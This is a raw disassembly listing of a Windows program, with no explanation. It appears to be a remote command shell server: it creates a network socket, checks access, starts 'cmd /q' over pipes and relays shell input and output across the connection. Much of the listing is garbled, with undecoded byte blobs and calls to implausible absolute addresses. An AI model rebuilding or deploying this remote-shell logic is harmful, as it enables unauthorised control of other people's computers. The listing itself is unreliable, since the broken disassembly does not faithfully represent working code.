push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41BEB0
loc_4108F4: ; CODE XREF: ___:004108E4j
pop ecx
pop ecx
push edi
push ebx
push offset dword_43D7D8
push dword ptr [esi]
call dword_4CB674
cmp dword_4CE388, edi
jnz short loc_410956
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_410A1E
add esp, 10h
test eax, eax
jnz short loc_410956
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CB674
push dword ptr [esi]
call dword_4CB6BC
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push edi
call near ptr 288097Dh
nop
loc_410956: ; CODE XREF: ___:0041090Bj
; ___:0041092Cj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_4347E0
call sub_415220
push dword ptr [ebp+8]
call sub_410CD5
add esp, 10h
test eax, eax
jnz short loc_41099D
nop
call near ptr 2830047h
push eax
push offset unk_4347B4
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 0Ch
push ebx
call near ptr 288097Dh
nop
loc_41099D: ; CODE XREF: ___:00410978j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_434788
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 10h
push edi
nop
call near ptr 288097Dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109C4 proc near ; CODE XREF: ___:00410859p
; ___:00410866p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB63C
cmp eax, 1
jnz short loc_410A14
mov esi, [ebp+arg_4]
loc_4109E2: ; CODE XREF: sub_4109C4+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_410A09
test al, al
jz short loc_410A18
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB63C
cmp eax, 1
jz short loc_4109E2
jmp short loc_410A14
; ---------------------------------------------------------------------------
loc_410A09: ; CODE XREF: sub_4109C4+27j
push offset unk_434848
call sub_415220
pop ecx
loc_410A14: ; CODE XREF: sub_4109C4+19j
; sub_4109C4+43j
xor eax, eax
jmp short loc_410A1B
; ---------------------------------------------------------------------------
loc_410A18: ; CODE XREF: sub_4109C4+2Bj
push 1
pop eax
loc_410A1B: ; CODE XREF: sub_4109C4+52j
pop esi
leave
retn
sub_4109C4 endp
; =============== S U B R O U T I N E =======================================
sub_410A1E proc near ; CODE XREF: ___:00410922p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_410A49
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_434874
call sub_415220
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_410A49: ; CODE XREF: sub_410A1E+11j
push 1
pop eax
retn
sub_410A1E endp
; ---------------------------------------------------------------------------
byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o
dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh
dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h
dd 9415FF00h, 33004CB5h, 74C63BF6h, 0E468501Dh, 0E8004349h
dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0FED7E890h
dd 68570246h, 410CCBh, 50FFC3E8h, 0C0859002h, 0E8902975h
dd 241F58Bh, 49A06850h, 59E80043h, 59000047h, 7C15FF59h
dd 0FF004CB5h, 3BE8B475h, 59FFFFA9h, 9EE89057h, 530246FEh
dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
dd 0B075FF00h, 0B62415FFh, 66A004Ch, 66026A57h, 89E24589h
dd 15FFE475h, 4CB6A4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
dd 106AB445h, 234C069h, 98890000h, 43E56Ch, 50E0458Dh
dd 5015FF53h, 85004CB6h, 17850FC0h, 68000001h, 7FFFFFFFh
dd 4C15FF53h, 85004CB6h, 3850FC0h, 68000001h, 434964h
dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB6B8h
dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
dd 0FFFF68h, 15FF5700h, 4CB604h, 74FFF883h, 45B70FC5h
dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB6B015h, 858D5000h
dd 0FFFFFBECh, 43492068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h
dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 64888924h
dd 8D0043E5h, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh
dd 56F0458Dh, 0EFE89050h, 8B0240F9h, 0C969B84Dh, 234h
dd 8189C63Bh, 43E574h, 75391374h, 37850FC8h, 6AFFFFFFh
dd 27E89032h, 0EB0240F9h, 0F401E8EDh, 50900241h, 4348E468h
dd 45CEE800h, 59590000h, 7D8B03EBh, 0B815FF08h, 50004CB5h
dd 0FBEC858Dh, 0AC68FFFFh, 50004348h, 0AC15E8h, 0CC48300h
dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh
dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB6BC15h, 15FF5300h
dd 4CB6BCh, 0B57C15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh
dd 0FCB3E890h, 335B0246h, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410CD5 proc near ; CODE XREF: ___:0041096Ep
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_410E26
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E56C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_42707C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_410FF8
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_410D40
nop
call near ptr 2830047h
push eax
push offset unk_434A44
call sub_415220
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_410D7A
; ---------------------------------------------------------------------------
loc_410D40: ; CODE XREF: sub_410CD5+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4110AA
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_410D81
nop
call near ptr 2830047h
push eax
push offset unk_434A44
call sub_415220
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
nop
call near ptr 2840000h
loc_410D7A: ; CODE XREF: sub_410CD5+69j
xor eax, eax
jmp loc_410E21
; ---------------------------------------------------------------------------
loc_410D81: ; CODE XREF: sub_410CD5+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
nop
call near ptr 2920E00h
sub eax, ebx
jz short loc_410DDB
dec eax
jz short loc_410DD5
dec eax
jz short loc_410DC1
call near ptr 2830047h
nop
push eax
push offset unk_434A10
call sub_415220
pop ecx
pop ecx
jmp short loc_410DF0
; ---------------------------------------------------------------------------
loc_410DC1: ; CODE XREF: sub_410CD5+D5j
mov edi, dword_4270AC
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_410DF0
; ---------------------------------------------------------------------------
loc_410DD5: ; CODE XREF: sub_410CD5+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_410DDF
; ---------------------------------------------------------------------------
loc_410DDB: ; CODE XREF: sub_410CD5+CFj
push ebx
push dword ptr [esi+14h]
loc_410DDF: ; CODE XREF: sub_410CD5+104j
nop
call near ptr 2840000h
push 1
push dword ptr [esi+8]
nop
call near ptr 28B09AAh
loc_410DF0: ; CODE XREF: sub_410CD5+EAj
; sub_410CD5+FEj
push dword ptr [esi+10h]
mov edi, dword_427068
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_4CB6BC
push esi
call sub_41B0B1
pop ecx
push 1
pop eax
loc_410E21: ; CODE XREF: sub_410CD5+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_410CD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_410F10
mov ebx, dword_4270FC
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_427068
test eax, eax
jnz short loc_410E89
nop
call near ptr 2830047h
push eax
push offset unk_434AF4
jmp short loc_410EA9
; ---------------------------------------------------------------------------
loc_410E89: ; CODE XREF: sub_410E26+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_410EB1
nop
call near ptr 2830047h
push eax
push offset unk_434AB4
loc_410EA9: ; CODE XREF: sub_410E26+61j
call sub_415220
pop ecx
jmp short loc_410EDF
; ---------------------------------------------------------------------------
loc_410EB1: ; CODE XREF: sub_410E26+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_410F1F
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_410F14
push offset unk_434A8C
call sub_4151AC
loc_410EDF: ; CODE XREF: sub_410E26+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_410EEB
push [ebp+var_4]
call edi
loc_410EEB: ; CODE XREF: sub_410E26+BEj
cmp [ebp+var_8], 0
jz short loc_410EF6
push [ebp+var_8]
call edi
loc_410EF6: ; CODE XREF: sub_410E26+C9j
mov eax, [esi]
test eax, eax
jz short loc_410EFF
push eax
call edi
loc_410EFF: ; CODE XREF: sub_410E26+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_410F09
push eax
call edi
loc_410F09: ; CODE XREF: sub_410E26+DEj
push esi
call sub_41B0B1
pop ecx
loc_410F10: ; CODE XREF: sub_410E26+1Dj
xor eax, eax
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F14: ; CODE XREF: sub_410E26+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_410F1A: ; CODE XREF: sub_410E26+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_410E26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F1F proc near ; CODE XREF: sub_410E26+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41B590
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4270F8
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
call near ptr 28C0000h
nop
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
nop
call near ptr 2800890h
test eax, eax
jz short loc_410FDB
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E568[eax], ecx
call near ptr 28005AFh
nop
jmp short loc_410FF1
; ---------------------------------------------------------------------------
loc_410FDB: ; CODE XREF: sub_410F1F+9Aj
nop
call near ptr 2830047h
push eax
push offset unk_434B34
call sub_415220
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_410FF1: ; CODE XREF: sub_410F1F+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_410F1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270E8
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411021: ; CODE XREF: sub_410FF8+8Fj
call ebx
test eax, eax
jz short loc_411089
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_41105C
loc_411032: ; CODE XREF: sub_410FF8+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_41104C
cmp dl, 0Dh
jz short loc_41104C
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_41104C: ; CODE XREF: sub_410FF8+44j
; sub_410FF8+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411032
loc_41105C: ; CODE XREF: sub_410FF8+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CB674
test eax, eax
jle short loc_411089
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411021
; ---------------------------------------------------------------------------
loc_411089: ; CODE XREF: sub_410FF8+2Dj
; sub_410FF8+79j
mov esi, dword_42708C
call esi
cmp eax, 6Dh
jz short loc_4110A5
call esi
push eax
push offset dword_434B74
call sub_415220
pop ecx
pop ecx
loc_4110A5: ; CODE XREF: sub_410FF8+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_410FF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110AA proc near ; DATA XREF: sub_410CD5+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_4110C3: ; CODE XREF: sub_4110AA+39j
; sub_4110AA+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB63C
test eax, eax
jle loc_4111C8
cmp [ebp+var_10], ebx
jbe short loc_4110E5
dec [ebp+var_10]
jmp short loc_4110C3
; ---------------------------------------------------------------------------
loc_4110E5: ; CODE XREF: sub_4110AA+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4111A8
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411155
cmp al, 7Fh
jz short loc_411155
cmp al, 3
jnz short loc_411110
push ebx
push ebx
call near ptr 2930000h
nop
jmp short loc_41117C
; ---------------------------------------------------------------------------
loc_411110: ; CODE XREF: sub_4110AA+5Aj
cmp al, 15h
jnz short loc_411132
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411168
; ---------------------------------------------------------------------------
loc_411132: ; CODE XREF: sub_4110AA+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411169
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411168
; ---------------------------------------------------------------------------
loc_411155: ; CODE XREF: sub_4110AA+52j
; sub_4110AA+56j
cmp esi, ebx
jbe short loc_41117F
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411168: ; CODE XREF: sub_4110AA+86j
; sub_4110AA+A9j
pop ecx
loc_411169: ; CODE XREF: sub_4110AA+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CB674
test eax, eax
jle short loc_4111C8
loc_41117C: ; CODE XREF: sub_4110AA+64j
mov al, byte ptr [ebp+arg_0+3]
loc_41117F: ; CODE XREF: sub_4110AA+ADj
cmp al, 0Dh
jnz loc_4110C3
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call near ptr 28A0000h
nop
test eax, eax
jz short loc_4111C8
xor esi, esi
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111A8: ; CODE XREF: sub_4110AA+47j
cmp [ebp+var_C], ebx
jnz short loc_4111B9
mov [ebp+var_C], 1
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111B9: ; CODE XREF: sub_4110AA+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111C8: ; CODE XREF: sub_4110AA+2Bj
; sub_4110AA+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4110AA endp
; ---------------------------------------------------------------------------
byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o
dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh
dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h
dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
dd 75FF0002h, 2415FFC0h, 6A004CB6h, 26A5706h, 0EE458966h
dd 0FFF07589h, 4CB6A415h, 8BF88B00h, 0C069C445h, 234h
dd 6CB88953h, 8D0043E5h, 5750EC45h, 0B65015FFh, 0C085004Ch
dd 121850Fh, 0A6A0000h, 4C15FF57h, 85004CB6h, 10850FC0h
dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
dd 0FFFD2C85h, 0BF7C68FFh, 0E8500042h, 0A606h, 3910C483h
dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h
dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
dd 4CB6B8h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
dd 0B6B015FFh, 8D50004Ch, 0FFFD2C85h, 4C2068FFh, 0E8500043h
dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43E564h, 5008458Dh
dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 240F2E2h
dd 0C84D8B90h, 234C969h, 0C63B0000h, 0E5748189h, 13740043h
dd 0FD87539h, 0FFFF6385h, 90056AFFh, 40F219E8h, 90EDEB02h
dd 41ECF2E8h, 858D5002h, 0FFFFFD2Ch, 434BE468h, 1FE85000h
dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B6BC15FFh, 75FF004Ch
dd 2C858DC0h, 68FFFFFDh, 434BB0h, 0A4FCE850h, 0C4830000h
dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
dd 0AEE89056h, 5F0246F5h, 8B555B5Eh, 0D4EC81ECh, 8B000005h
dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
dd 89016AD4h, 0F6690875h, 234h, 6CB68D5Fh, 890043E5h, 0ACB8h
dd 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh, 8D5350F8h
dd 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh, 0C15FFFFh
dd 85004CB6h, 0FF1875C0h, 0BC15FF36h, 0FF004CB6h, 0C7E80875h
dd 59FFFF9Fh, 2AE89053h, 530246F5h, 0FB30858Dh, 868FFFFh
dd 50000004h, 15FF36FFh, 4CB63Ch, 187FC085h, 15FF36FFh
dd 4CB6BCh, 0E80875FFh, 0FFFF9F96h, 0E8905359h, 246F4F9h
dd 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h, 1FFFFFBh
dd 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h, 0FFFB3885h
dd 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h, 38858D50h
dd 50FFFFFBh, 434CE868h, 3D52E800h, 680000h, 8D000004h
dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5DFFFFFBh
dd 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
dd 0B67415FFh, 36FF004Ch, 0B6BC15FFh, 75FF004Ch, 9F00E808h
dd 5359FFFFh, 0F463E890h, 106A0246h, 53E8458Dh, 0A06AE850h
dd 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h, 0FB34858Bh
dd 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h, 0B6A415FFh
dd 0F88B004Ch, 75FFFF83h, 0B815FF5Dh, 50004CB5h, 434CA868h
dd 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h, 885053FFh
dd 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h, 14C48300h
dd 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0B67415FFh, 36FF004Ch
dd 0B6BC15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh, 0F3CBE890h
dd 458D0246h, 50106AE8h, 0CC15FF57h, 83004CB5h, 5D75FFF8h
dd 0B5B815FFh, 6850004Ch, 434C64h, 3C4BE8h, 4006800h, 858D0000h
dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh
dd 9F9Ch, 8D14C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h
dd 4CB67415h, 0FF36FF00h, 4CB6BC15h, 875FF00h, 0FF9DF9E8h
dd 905359FFh, 46F35CE8h, 4006802h, 858D0000h, 0FFFFFB38h
dd 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85AFFFFh, 9F50h
dd 8D0CC483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h, 4CB67415h
dd 5736FF00h, 39E8h, 57595900h, 0B6BC15FFh, 36FF004Ch
dd 0B6BC15FFh, 75FF004Ch, 9D9CE808h, 5359FFFFh, 0F2FFE890h
dd 36FF0246h, 0B6BC15FFh, 75FF004Ch, 9D84E808h, 5359FFFFh
dd 0F2E7E890h
db 46h, 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4116AC: ; CODE XREF: ___:0041175Bj
; ___:0041178Bj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4116C4: ; CODE XREF: ___:004116D2j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_4116D4
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4116C4
loc_4116D4: ; CODE XREF: ___:004116C9j
cmp ecx, 1
jnz short loc_4116E9
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4116E9: ; CODE XREF: ___:004116D7j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4CB60C
lea eax, [ebp-104h]
push eax
push ebx
call dword_4CB510
test eax, eax
jz short loc_411749
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4CB63C
cmp eax, 0FFFFFFFFh
jz short loc_411791
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4CB674
cmp eax, 0FFFFFFFFh
jz short loc_411791
loc_411749: ; CODE XREF: ___:0041171Bj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4CB510
test eax, eax
jz loc_4116AC
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB63C
cmp eax, 0FFFFFFFFh
jz short loc_411791
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4CB674
cmp eax, 0FFFFFFFFh
jnz loc_4116AC
loc_411791: ; CODE XREF: ___:00411730j
; ___:00411747j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do
; sub_40BACD+106o
dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh
dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h
dd 4CB6A415h, 83F08B00h, 5675FFFEh, 19068h, 7BE89000h
dd 390240EDh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h
dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0F147E890h, 458D0246h
dd 50046AF0h, 0FFFFBFh, 57046A00h, 415FF56h, 8D004CB6h
dd 46AEC45h, 57FB6A50h, 415FF56h, 8B004CB6h, 0FFFE9885h
dd 69106AFFh, 234C0h, 0B0895300h, 43E56Ch, 50D4458Dh, 9D17E8h
dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0B62415FFh
dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0B65015FFh
dd 0F883004Ch, 681975FFh, 1388h, 0ECB4E890h, 8DFF0240h
dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
dd 0E8000001h, 240EC82h, 858D5390h, 0FFFFF888h, 0FF24B5FFh
dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
dd 0FFFF9AF6h, 531CC483h, 0F057E890h, 7D8B0246h, 0A09F3908h
